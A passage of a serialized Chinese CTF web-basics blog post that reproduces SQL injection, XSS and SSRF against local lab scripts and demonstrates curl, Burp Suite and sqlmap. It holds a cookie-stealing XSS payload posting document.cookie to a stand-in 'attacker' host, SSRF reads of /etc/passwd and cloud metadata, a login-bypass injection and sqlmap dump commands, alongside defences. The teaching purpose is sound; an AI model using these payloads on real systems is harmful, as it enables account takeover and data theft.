就存在这里。\n",[30,11570,11571,11581,11586,11591,11596],{"__ignoreMap":28},[33,11572,11573,11575,11577,11579],{"class":35,"line":36},[33,11574,3515],{"class":39},[33,11576,3518],{"class":412},[33,11578,3797],{"class":43},[33,11580,3524],{"class":412},[33,11582,11583],{"class":35,"line":47},[33,11584,11585],{"class":1576},"# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n",[33,11587,11588],{"class":35,"line":70},[33,11589,11590],{"class":1576},"# WHERE table_schema=database()：只筛当前库的表。\n",[33,11592,11593],{"class":35,"line":80},[33,11594,11595],{"class":1576},"# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n",[33,11597,11598],{"class":35,"line":452},[33,11599,11600],{"class":1576},"# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[16,11602,169,11603,301],{},[30,11604,3804],{},[16,11606,11607],{},"第五步，拿 flag：",[23,11609,11611],{"className":25,"code":11610,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n# 预期输出 flag{sql_injection}，即本题的答案。\n",[30,11612,11613,11623,11628,11633],{"__ignoreMap":28},[33,11614,11615,11617,11619,11621],{"class":35,"line":36},[33,11616,3515],{"class":39},[33,11618,3518],{"class":412},[33,11620,3861],{"class":43},[33,11622,3524],{"class":412},[33,11624,11625],{"class":35,"line":47},[33,11626,11627],{"class":1576},"# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n",[33,11629,11630],{"class":35,"line":70},[33,11631,11632],{"class":1576},"# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n",[33,11634,11635],{"class":35,"line":80},[33,11636,11637],{"class":1576},"# 预期输出 flag{sql_injection}，即本题的答案。\n",[16,11639,169,11640,301],{},[30,11641,3868],{},[16,11643,11644],{},"说明：",[7841,11646,11647,11652,11662],{},[792,11648,11649,11651],{},[30,11650,3656],{},"：让第一个查询返回空，UNION 的结果才显示第二个查询。",[792,11653,11654,11657,11658,11661],{},[30,11655,11656],{},"--+","：URL 中解码后是 ",[30,11659,11660],{},"-- ","，即 SQL 注释，把后面代码注释掉。",[792,11663,11664,11667],{},[30,11665,11666],{},"group_concat","：把多行拼成一行，方便一次性输出。",[147,11669,11671],{"id":11670},"_35-防御参数化查询","3.5 防御：参数化查询",[23,11673,11675],{"className":3282,"code":11674,"language":3284,"meta":28,"style":28},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n",[30,11676,11677,11681],{"__ignoreMap":28},[33,11678,11679],{"class":35,"line":36},[33,11680,4263],{},[33,11682,11683],{"class":35,"line":47},[33,11684,4268],{},[16,11686,11687,11688,11690,11691,11694],{},"此时输入 ",[30,11689,4307],{}," 只会被当作字符串 ",[30,11692,11693],{},"'1 OR 1=1'"," 去比较，不会改变语句结构。",[11,11696,11698],{"id":11697},"四核心漏洞-2xss完整复现","四、核心漏洞 2：XSS（完整复现）",[16,11700,11701,11703],{},[136,11702,138],{},"：理解\"用户输入被当 HTML/JS 输出\"这一漏洞，以及如何构造验证。",[16,11705,11706,11708,11709,11712,11713,11716,11717,11720],{},[136,11707,144],{},"：页面把 ",[30,11710,11711],{},"name"," 原样输出。如果我们传 ",[30,11714,11715],{},"\u003Cscript>alert(1)\u003C/script>","，浏览器会把它当脚本执行。判断方法：先看响应是否原样包含 ",[30,11718,11719],{},"\u003Cscript>"," 标签（用 curl），再用浏览器确认脚本真的执行。",[147,11722,11724],{"id":11723},"_41-平台与代码","4.1 平台与代码",[16,11726,11727,11728,561],{},"任意 Web 应用。示例 ",[30,11729,11730],{},"xss.php",[23,11732,11734],{"className":3282,"code":11733,"language":3284,"meta":28,"style":28},"\u003C?php echo \"你好，\" . $_GET['name'] . \"！\"; ?>\n",[30,11735,11736],{"__ignoreMap":28},[33,11737,11738],{"class":35,"line":36},[33,11739,11733],{},[147,11741,11743],{"id":11742},"_42-正常请求","4.2 正常请求",[23,11745,11747],{"className":25,"code":11746,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/xss.php?name=alice\"\n",[30,11748,11749],{"__ignoreMap":28},[33,11750,11751,11753,11755,11758],{"class":35,"line":36},[33,11752,3515],{"class":39},[33,11754,3518],{"class":412},[33,11756,11757],{"class":43},"http://127.0.0.1:8000/xss.php?name=alice",[33,11759,3524],{"class":412},[16,11761,298,11762,301],{},[30,11763,11764],{},"你好，alice！",[147,11766,11768],{"id":11767},"_43-注入脚本","4.3 注入脚本",[23,11770,11772],{"className":25,"code":11771,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>\"\n",[30,11773,11774],{"__ignoreMap":28},[33,11775,11776,11778,11780,11783],{"class":35,"line":36},[33,11777,3515],{"class":39},[33,11779,3518],{"class":412},[33,11781,11782],{"class":43},"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>",[33,11784,3524],{"class":412},[16,11786,298],{},[23,11788,11790],{"className":4904,"code":11789,"language":4906,"meta":28,"style":28},"你好，\n\u003Cscript>\n alert(1)\n\u003C/script>\n！\n",[30,11791,11792,11797,11806,11819,11828],{"__ignoreMap":28},[33,11793,11794],{"class":35,"line":36},[33,11795,11796],{"class":63},"你好，\n",[33,11798,11799,11801,11804],{"class":35,"line":47},[33,11800,4913],{"class":63},[33,11802,11803],{"class":56},"script",[33,11805,67],{"class":63},[33,11807,11808,11811,11814,11816],{"class":35,"line":70},[33,11809,11810],{"class":39}," alert",[33,11812,11813],{"class":63},"(",[33,11815,4550],{"class":241},[33,11817,11818],{"class":63},")\n",[33,11820,11821,11824,11826],{"class":35,"line":80},[33,11822,11823],{"class":63},"\u003C/",[33,11825,11803],{"class":56},[33,11827,67],{"class":63},[33,11829,11830],{"class":35,"line":452},[33,11831,11832],{"class":63},"！\n",[16,11834,11835,11836,11838,11839,11841],{},"浏览器会把 ",[30,11837,11719],{}," 当作代码执行。",[30,11840,3515],{}," 只是看响应，要看到效果需要用浏览器打开该 URL。",[147,11843,11845],{"id":11844},"_44-危害演示偷-cookie","4.4 危害演示：偷 Cookie",[16,11847,11848],{},"攻击者构造 URL：",[23,11850,11852],{"className":4904,"code":11851,"language":4906,"meta":28,"style":28},"http://127.0.0.1:8000/xss.php?name=\n\u003Cscript>\n fetch('http://attacker/?c=' + document.cookie)\n\u003C/script>\n",[30,11853,11854,11859,11867,11888],{"__ignoreMap":28},[33,11855,11856],{"class":35,"line":36},[33,11857,11858],{"class":63},"http://127.0.0.1:8000/xss.php?name=\n",[33,11860,11861,11863,11865],{"class":35,"line":47},[33,11862,4913],{"class":63},[33,11864,11803],{"class":56},[33,11866,67],{"class":63},[33,11868,11869,11872,11874,11877,11880,11882,11885],{"class":35,"line":70},[33,11870,11871],{"class":39}," fetch",[33,11873,11813],{"class":63},[33,11875,11876],{"class":412},"'",[33,11878,11879],{"class":43},"http://attacker/?c=",[33,11881,11876],{"class":412},[33,11883,11884],{"class":56}," +",[33,11886,11887],{"class":63}," document.cookie)\n",[33,11889,11890,11892,11894],{"class":35,"line":80},[33,11891,11823],{"class":63},[33,11893,11803],{"class":56},[33,11895,67],{"class":63},[16,11897,11898,11899,11902],{},"受害者打开后，浏览器会把受害者的 Cookie 发到 ",[30,11900,11901],{},"attacker"," 服务器。攻击者拿到 Cookie 即可冒充登录。",[147,11904,11906],{"id":11905},"_45-防御输出编码","4.5 防御：输出编码",[16,11908,11909],{},"输出前把危险字符转义：",[490,11911,11912,11922],{},[493,11913,11914],{},[496,11915,11916,11919],{},[499,11917,11918],{},"原始字符",[499,11920,11921],{},"转义后",[506,11923,11924,11935,11947,11958,11969],{},[496,11925,11926,11930],{},[511,11927,11928],{},[30,11929,4913],{},[511,11931,11932],{},[30,11933,11934],{},"<",[496,11936,11937,11942],{},[511,11938,11939],{},[30,11940,11941],{},">",[511,11943,11944],{},[30,11945,11946],{},">",[496,11948,11949,11953],{},[511,11950,11951],{},[30,11952,4161],{},[511,11954,11955],{},[30,11956,11957],{},""",[496,11959,11960,11964],{},[511,11961,11962],{},[30,11963,11876],{},[511,11965,11966],{},[30,11967,11968],{},"'",[496,11970,11971,11976],{},[511,11972,11973],{},[30,11974,11975],{},"&",[511,11977,11978],{},[30,11979,11980],{},"&",[16,11982,11983,11984,11987],{},"PHP 用 ",[30,11985,11986],{},"htmlspecialchars()","，或使用默认转义的框架（Vue、React 默认转义插值）。",[11,11989,11991],{"id":11990},"五核心漏洞-3ssrf完整复现","五、核心漏洞 3：SSRF（完整复现）",[16,11993,11994,11996],{},[136,11995,138],{},"：理解\"服务器根据用户输入发起请求\"造成的危害，以及如何验证。",[16,11998,11999,561,12001,12004,12005,12008,12009,12012,12013,12016,12017,12020],{},[136,12000,144],{},[30,12002,12003],{},"file_get_contents($url)"," 会按 ",[30,12006,12007],{},"$url"," 的协议去读内容。协议决定能力：",[30,12010,12011],{},"file://"," 读本地文件，",[30,12014,12015],{},"http://"," 访问内网，",[30,12018,12019],{},"gopher://"," 与内网 TCP 服务交互。验证方式：依次换三种协议，看响应内容。",[147,12022,12024],{"id":12023},"_51-平台与代码","5.1 平台与代码",[16,12026,12027,12028,561],{},"具有\"URL 处理\"功能的应用。示例 ",[30,12029,12030],{},"ssrf.php",[23,12032,12034],{"className":3282,"code":12033,"language":3284,"meta":28,"style":28},"\u003C?php\necho file_get_contents($_GET['url']);\n// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n// 参数含义：$_GET['url'] 是用户可控的目标地址。\n// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n?>\n",[30,12035,12036,12040,12045,12050,12055,12060],{"__ignoreMap":28},[33,12037,12038],{"class":35,"line":36},[33,12039,3428],{},[33,12041,12042],{"class":35,"line":47},[33,12043,12044],{},"echo file_get_contents($_GET['url']);\n",[33,12046,12047],{"class":35,"line":70},[33,12048,12049],{},"// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n",[33,12051,12052],{"class":35,"line":80},[33,12053,12054],{},"// 参数含义：$_GET['url'] 是用户可控的目标地址。\n",[33,12056,12057],{"class":35,"line":452},[33,12058,12059],{},"// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n",[33,12061,12062],{"class":35,"line":458},[33,12063,3466],{},[147,12065,12067],{"id":12066},"_52-读本地文件","5.2 读本地文件",[23,12069,12071],{"className":25,"code":12070,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd\"\n# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n# 预期输出是 passwd 内容（root:x:0:0:...）。\n# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[30,12072,12073,12084,12089,12094],{"__ignoreMap":28},[33,12074,12075,12077,12079,12082],{"class":35,"line":36},[33,12076,3515],{"class":39},[33,12078,3518],{"class":412},[33,12080,12081],{"class":43},"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd",[33,12083,3524],{"class":412},[33,12085,12086],{"class":35,"line":47},[33,12087,12088],{"class":1576},"# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n",[33,12090,12091],{"class":35,"line":70},[33,12092,12093],{"class":1576},"# 预期输出是 passwd 内容（root:x:0:0:...）。\n",[33,12095,12096],{"class":35,"line":80},[33,12097,12098],{"class":1576},"# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[16,12100,169],{},[23,12102,12105],{"className":12103,"code":12104,"language":175,"meta":28},[173],"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\n",[30,12106,12104],{"__ignoreMap":28},[147,12108,12110],{"id":12109},"_53-探测内网端口","5.3 探测内网端口",[23,12112,12114],{"className":25,"code":12113,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306\"\n# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n# 通过逐个尝试端口，可以绘制内网服务清单。\n",[30,12115,12116,12127,12132,12137],{"__ignoreMap":28},[33,12117,12118,12120,12122,12125],{"class":35,"line":36},[33,12119,3515],{"class":39},[33,12121,3518],{"class":412},[33,12123,12124],{"class":43},"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306",[33,12126,3524],{"class":412},[33,12128,12129],{"class":35,"line":47},[33,12130,12131],{"class":1576},"# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n",[33,12133,12134],{"class":35,"line":70},[33,12135,12136],{"class":1576},"# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n",[33,12138,12139],{"class":35,"line":80},[33,12140,12141],{"class":1576},"# 通过逐个尝试端口，可以绘制内网服务清单。\n",[16,12143,12144],{},"输出为空或超时说明端口关闭；出现 MySQL 协议内容说明 3306 开放。",[147,12146,12148],{"id":12147},"_54-访问云元数据","5.4 访问云元数据",[23,12150,12152],{"className":25,"code":12151,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/\"\n# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[30,12153,12154,12165,12170,12175],{"__ignoreMap":28},[33,12155,12156,12158,12160,12163],{"class":35,"line":36},[33,12157,3515],{"class":39},[33,12159,3518],{"class":412},[33,12161,12162],{"class":43},"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/",[33,12164,3524],{"class":412},[33,12166,12167],{"class":35,"line":47},[33,12168,12169],{"class":1576},"# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n",[33,12171,12172],{"class":35,"line":70},[33,12173,12174],{"class":1576},"# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n",[33,12176,12177],{"class":35,"line":80},[33,12178,12179],{"class":1576},"# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[16,12181,12182],{},"云服务器上该地址返回临时凭证相关信息。这是 SSRF 最著名的利用点。",[147,12184,12186],{"id":12185},"_55-防御","5.5 防御",[23,12188,12190],{"className":3282,"code":12189,"language":3284,"meta":28,"style":28},"$allowed = ['https', 'http'];\n$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\nif (!in_array($scheme, $allowed)) die(\"not allowed\");\n// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[30,12191,12192,12197,12202,12207],{"__ignoreMap":28},[33,12193,12194],{"class":35,"line":36},[33,12195,12196],{},"$allowed = ['https', 'http'];\n",[33,12198,12199],{"class":35,"line":47},[33,12200,12201],{},"$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\n",[33,12203,12204],{"class":35,"line":70},[33,12205,12206],{},"if (!in_array($scheme, $allowed)) die(\"not allowed\");\n",[33,12208,12209],{"class":35,"line":80},[33,12210,12211],{},"// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[11,12213,12215],{"id":12214},"六必学工具-1curl","六、必学工具 1：curl",[16,12217,12218],{},"三个核心功能，逐个演示。",[16,12220,12221],{},"功能 1：带参数 GET。",[23,12223,12224],{"className":25,"code":3508,"language":27,"meta":28,"style":28},[30,12225,12226],{"__ignoreMap":28},[33,12227,12228,12230,12232,12234],{"class":35,"line":36},[33,12229,3515],{"class":39},[33,12231,3518],{"class":412},[33,12233,3521],{"class":43},[33,12235,3524],{"class":412},[16,12237,298,12238,301],{},[30,12239,3598],{},[16,12241,12242,12243,7710],{},"功能 2：查看完整请求与响应（",[30,12244,10924],{},[23,12246,12248],{"className":25,"code":12247,"language":27,"meta":28,"style":28},"curl -v \"http://127.0.0.1:8000/vuln.php?id=1\"\n# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n# \u003C 开头是响应行与响应头，最后是正文。\n# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[30,12249,12250,12262,12267,12272],{"__ignoreMap":28},[33,12251,12252,12254,12256,12258,12260],{"class":35,"line":36},[33,12253,3515],{"class":39},[33,12255,10912],{"class":241},[33,12257,3518],{"class":412},[33,12259,3521],{"class":43},[33,12261,3524],{"class":412},[33,12263,12264],{"class":35,"line":47},[33,12265,12266],{"class":1576},"# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n",[33,12268,12269],{"class":35,"line":70},[33,12270,12271],{"class":1576},"# \u003C 开头是响应行与响应头，最后是正文。\n",[33,12273,12274],{"class":35,"line":80},[33,12275,12276],{"class":1576},"# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[16,12278,12279,12280,12282,12283,12285],{},"输出中 ",[30,12281,11941],{}," 开头的是请求，",[30,12284,4913],{}," 开头的是响应，最下面是正文。",[16,12287,12288,12289,7710],{},"功能 3：POST 数据（",[30,12290,12291],{},"-d",[23,12293,12295],{"className":25,"code":12294,"language":27,"meta":28,"style":28},"curl -X POST \"http://127.0.0.1:8000/login.php\" -d \"username=admin&password=123\"\n",[30,12296,12297],{"__ignoreMap":28},[33,12298,12299,12301,12304,12307,12309,12312,12314,12316,12318,12321],{"class":35,"line":36},[33,12300,3515],{"class":39},[33,12302,12303],{"class":241}," -X",[33,12305,12306],{"class":43}," POST",[33,12308,3518],{"class":412},[33,12310,12311],{"class":43},"http://127.0.0.1:8000/login.php",[33,12313,4161],{"class":412},[33,12315,368],{"class":241},[33,12317,3518],{"class":412},[33,12319,12320],{"class":43},"username=admin&password=123",[33,12322,3524],{"class":412},[16,12324,12325],{},"用于登录、上传等需要 POST 的场景。",[11,12327,12329],{"id":12328},"七必学工具-2burp-suite","七、必学工具 2：Burp Suite",[16,12331,12332],{},"图形化抓包改包工具（社区版免费）。三个核心模块：",[490,12334,12335,12348],{},[493,12336,12337],{},[496,12338,12339,12342,12345],{},[499,12340,12341],{},"模块",[499,12343,12344],{},"用途",[499,12346,12347],{},"操作步骤",[506,12349,12350,12365,12376],{},[496,12351,12352,12355,12358],{},[511,12353,12354],{},"Proxy",[511,12356,12357],{},"拦截请求",[511,12359,12360,12361,12364],{},"浏览器设置代理 ",[30,12362,12363],{},"127.0.0.1:8080","，安装 Burp 证书；访问目标时请求停在 Burp，可修改后 Forward",[496,12366,12367,12370,12373],{},[511,12368,12369],{},"Repeater",[511,12371,12372],{},"手工重放",[511,12374,12375],{},"拦截到的请求右键 → Send to Repeater；修改参数 → Send，右侧看响应，可反复对比",[496,12377,12378,12381,12384],{},[511,12379,12380],{},"Intruder",[511,12382,12383],{},"自动化遍历",[511,12385,12386],{},"请求中选中要爆破的参数，Add § 标记，加载字典，Start Attack，按响应长度排序找异常",[16,12388,12389],{},"用途对应：Repeater 调试 payload，Intruder 爆破密码或枚举 id，Proxy 观察真实请求。",[11,12391,12393],{"id":12392},"八必学工具-3sqlmap","八、必学工具 3：sqlmap",[16,12395,12396],{},"SQL 注入自动化工具。三个核心命令：",[16,12398,12399],{},"命令 1：检测。",[23,12401,12402],{"className":25,"code":4144,"language":27,"meta":28,"style":28},[30,12403,12404],{"__ignoreMap":28},[33,12405,12406,12408,12410,12412,12414,12416],{"class":35,"line":36},[33,12407,4151],{"class":39},[33,12409,4154],{"class":241},[33,12411,3518],{"class":412},[33,12413,3521],{"class":43},[33,12415,4161],{"class":412},[33,12417,4164],{"class":241},[16,12419,422],{},[23,12421,12423],{"className":12422,"code":4170,"language":175,"meta":28},[173],[30,12424,4170],{"__ignoreMap":28},[16,12426,12427],{},"命令 2：列数据库。",[23,12429,12430],{"className":25,"code":4179,"language":27,"meta":28,"style":28},[30,12431,12432],{"__ignoreMap":28},[33,12433,12434,12436,12438,12440,12442,12444],{"class":35,"line":36},[33,12435,4151],{"class":39},[33,12437,4154],{"class":241},[33,12439,3518],{"class":412},[33,12441,3521],{"class":43},[33,12443,4161],{"class":412},[33,12445,4196],{"class":241},[16,12447,12448,12449,301],{},"预期输出：数据库列表，包含 ",[30,12450,1370],{},[16,12452,12453],{},"命令 3：导出数据。",[23,12455,12456],{"className":25,"code":4208,"language":27,"meta":28,"style":28},[30,12457,12458],{"__ignoreMap":28},[33,12459,12460,12462,12464,12466,12468,12470,12472,12474,12476,12478],{"class":35,"line":36},[33,12461,4151],{"class":39},[33,12463,4154],{"class":241},[33,12465,3518],{"class":412},[33,12467,3521],{"class":43},[33,12469,4161],{"class":412},[33,12471,4225],{"class":241},[33,12473,4228],{"class":43},[33,12475,4231],{"class":241},[33,12477,4234],{"class":43},[33,12479,4237],{"class":241},[16,12481,169,12482,12484,12485,301],{},[30,12483,2306],{}," 表内容，即 ",[30,12486,3868],{},[11,12488,12490],{"id":12489},"九小-ctf-实战登录绕过","九、小 CTF 实战：登录绕过",[16,12492,12493,12494,12497],{},"题目：登录页 ",[30,12495,12496],{},"login.php","，源码：",[23,12499,12501],{"className":3282,"code":12500,"language":3284,"meta":28,"style":28},"$user = $_POST['user'];\n$pass = $_POST['pass'];\n$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[30,12502,12503,12508,12513],{"__ignoreMap":28},[33,12504,12505],{"class":35,"line":36},[33,12506,12507],{},"$user = $_POST['user'];\n",[33,12509,12510],{"class":35,"line":47},[33,12511,12512],{},"$pass = $_POST['pass'];\n",[33,12514,12515],{"class":35,"line":70},[33,12516,12517],{},"$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[147,12519,12521],{"id":12520},"第一步正常登录失败","第一步：正常登录失败",[16,12523,12524,12526],{},[136,12525,138],{},"：先建立\"正常请求\"的基线，确认接口参数名（user/pass）和失败时的输出特征。",[23,12528,12530],{"className":25,"code":12529,"language":27,"meta":28,"style":28},"curl -X POST \"http://target/login.php\" --data \"user=admin&pass=wrong\"\n",[30,12531,12532],{"__ignoreMap":28},[33,12533,12534,12536,12538,12540,12542,12545,12547,12550,12552,12555],{"class":35,"line":36},[33,12535,3515],{"class":39},[33,12537,12303],{"class":241},[33,12539,12306],{"class":43},[33,12541,3518],{"class":412},[33,12543,12544],{"class":43},"http://target/login.php",[33,12546,4161],{"class":412},[33,12548,12549],{"class":241}," --data",[33,12551,3518],{"class":412},[33,12553,12554],{"class":43},"user=admin&pass=wrong",[33,12556,3524],{"class":412},[16,12558,298,12559,301],{},[30,12560,12561],{},"Login failed",[147,12563,12565],{"id":12564},"第二步构造绕过","第二步：构造绕过",[16,12567,12568,12570,12571,12574],{},[136,12569,144],{},"：观察源码 ",[30,12572,12573],{},"WHERE username='...' AND password='...'","，猜测我们可以在用户名里\"提前闭合单引号并用注释吃掉后半句\"。这样密码校验被注释掉，只要用户存在即可登录。",[16,12576,12577,12579,12580,12582,12583,264,12586,12589,12590,2870,12592,7710],{},[136,12578,648],{},"：发送 payload 后看是否从 ",[30,12581,12561],{}," 变成成功页面；若失败，尝试 ",[30,12584,12585],{},"admin'#",[30,12587,12588],{},"admin'-- "," 等不同注释符（MySQL 支持 ",[30,12591,11660],{},[30,12593,12594],{},"#",[16,12596,153],{},[23,12598,12600],{"className":25,"code":12599,"language":27,"meta":28,"style":28},"curl -X POST \"http://target/login.php\" --data \"user=admin'--+&pass=wrong\"\n",[30,12601,12602],{"__ignoreMap":28},[33,12603,12604,12606,12608,12610,12612,12614,12616,12618,12620,12623],{"class":35,"line":36},[33,12605,3515],{"class":39},[33,12607,12303],{"class":241},[33,12609,12306],{"class":43},[33,12611,3518],{"class":412},[33,12613,12544],{"class":43},[33,12615,4161],{"class":412},[33,12617,12549],{"class":241},[33,12619,3518],{"class":412},[33,12621,12622],{"class":43},"user=admin'--+&pass=wrong",[33,12624,3524],{"class":412},[16,12626,12627],{},"实际执行的 SQL：",[23,12629,12631],{"className":3309,"code":12630,"language":3311,"meta":28,"style":28},"SELECT * FROM users WHERE username='admin'-- ' AND password='wrong'\n",[30,12632,12633],{"__ignoreMap":28},[33,12634,12635],{"class":35,"line":36},[33,12636,12630],{},[16,12638,12639,12641,12642,12645],{},[30,12640,11660],{}," 注释掉密码部分。预期输出：",[30,12643,12644],{},"Login success"," 和 flag。",[16,12647,12648,12651,12652,12655,12656,12659],{},[136,12649,12650],{},"为什么能成功","：数据库中确实存在 ",[30,12653,12654],{},"admin"," 用户，查询 ",[30,12657,12658],{},"WHERE username='admin'"," 就能命中一行；命中即视为登录成功。",[147,12661,12663],{"id":12662},"第三步sqlmap-验证","第三步：sqlmap 验证",[16,12665,12666,12668],{},[136,12667,138],{},"：用工具确认手工结论，同时自动探测其他注入点。",[23,12670,12672],{"className":25,"code":12671,"language":27,"meta":28,"style":28},"sqlmap -u \"http://target/login.php\" --data \"user=a&pass=b\" --batch\n# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n# --batch 表示全程自动选择默认选项，不需要人工确认。\n# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[30,12673,12674,12697,12702,12707],{"__ignoreMap":28},[33,12675,12676,12678,12680,12682,12684,12686,12688,12690,12693,12695],{"class":35,"line":36},[33,12677,4151],{"class":39},[33,12679,4154],{"class":241},[33,12681,3518],{"class":412},[33,12683,12544],{"class":43},[33,12685,4161],{"class":412},[33,12687,12549],{"class":241},[33,12689,3518],{"class":412},[33,12691,12692],{"class":43},"user=a&pass=b",[33,12694,4161],{"class":412},[33,12696,4164],{"class":241},[33,12698,12699],{"class":35,"line":47},[33,12700,12701],{"class":1576},"# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n",[33,12703,12704],{"class":35,"line":70},[33,12705,12706],{"class":1576},"# --batch 表示全程自动选择默认选项，不需要人工确认。\n",[33,12708,12709],{"class":35,"line":80},[33,12710,12711],{"class":1576},"# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[16,12713,12714,12715,12718],{},"预期输出：报告 ",[30,12716,12717],{},"Parameter: user (POST)"," 存在注入。",[11,12720,2224],{"id":2223},[16,12722,12723],{},"Web 入门只需要掌握：参数不可信；SQLi/XSS/SSRF 的复现与检测；curl、Burp、sqlmap 三个工具的核心用法。",[1350,12725,12726],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":28,"searchDepth":47,"depth":47,"links":12728},[12729,12730,12731,12732,12733,12734,12735,12736,12737,12738],{"id":10896,"depth":70,"text":10897},{"id":11004,"depth":70,"text":11005},{"id":11102,"depth":70,"text":11103},{"id":11697,"depth":70,"text":11698},{"id":11990,"depth":70,"text":11991},{"id":12214,"depth":70,"text":12215},{"id":12328,"depth":70,"text":12329},{"id":12392,"depth":70,"text":12393},{"id":12489,"depth":70,"text":12490},{"id":2223,"depth":70,"text":2224},"完整复现 SQL 注入、XSS、SSRF 三个漏洞：环境搭建、请求与响应、演示 curl、Burp Suite、sqlmap 的核心用法。",{"date":1366,"image":12741,"alt":12742,"tags":12743,"published":1373},"/blogs-img/blog9.png","CTF Web 入门",[1370,4678,1372],"/blogs/ctf-web-overview",{"title":10891,"description":12739},"blogs/9. ctf-web-overview","Zw9ZNNI8nq4-16xeG1TaILfNuOv5EuKnOPkpkm05cIk",1786796568434]